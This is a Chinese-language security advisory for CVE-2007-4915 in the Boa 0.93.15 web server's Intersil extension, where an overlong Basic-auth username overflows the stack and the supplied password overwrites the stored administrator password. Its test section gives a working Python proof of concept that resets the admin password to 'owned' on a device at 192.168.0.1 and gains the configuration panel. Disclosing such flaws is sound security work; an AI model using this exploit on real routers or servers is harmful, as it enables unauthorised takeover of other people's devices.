发布日期:2007-09-17
更新日期:2012-11-15
受影响系统:
Boa Boa 0.93.15
描述:
--------------------------------------------------------------------------------
CVE ID: CVE-2007-4915
Boa是单任务的HTTP服务器。
Boa httpd没有内置的身份验证代码,Intersil扩展内存在漏洞,当要求HTTP基本身份验证凭证时,传递大于127个字符作为用户名的字符串时,会占用boa进程的栈内存,作为密码传递的字符串会覆盖管理员密码的内存值,导致攻击者将密码重置为已知值。重置后,攻击者即可访问配置面板。
<*来源:luca.carettoni
链接:
*>
测试方法:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
#!/usr/bin/env python
import urllib2
SERVER_IP_ADDRESS = '192.168.0.1'
USERNAME = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
NEW_PASSWORD = 'owned'
auth_handler = urllib2.HTTPBasicAuthHandler()
auth_handler.add_password('LOGIN(default username & password is admin)', SERVER_IP_ADDRESS, USERNAME, NEW_PASSWORD);
opener = urllib2.build_opener(auth_handler)
urllib2.install_opener(opener)
res = urllib2.urlopen('http://'+SERVER_IP_ADDRESS+'/home/index.shtml')
建议:
--------------------------------------------------------------------------------
厂商补丁:
Boa
---
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本: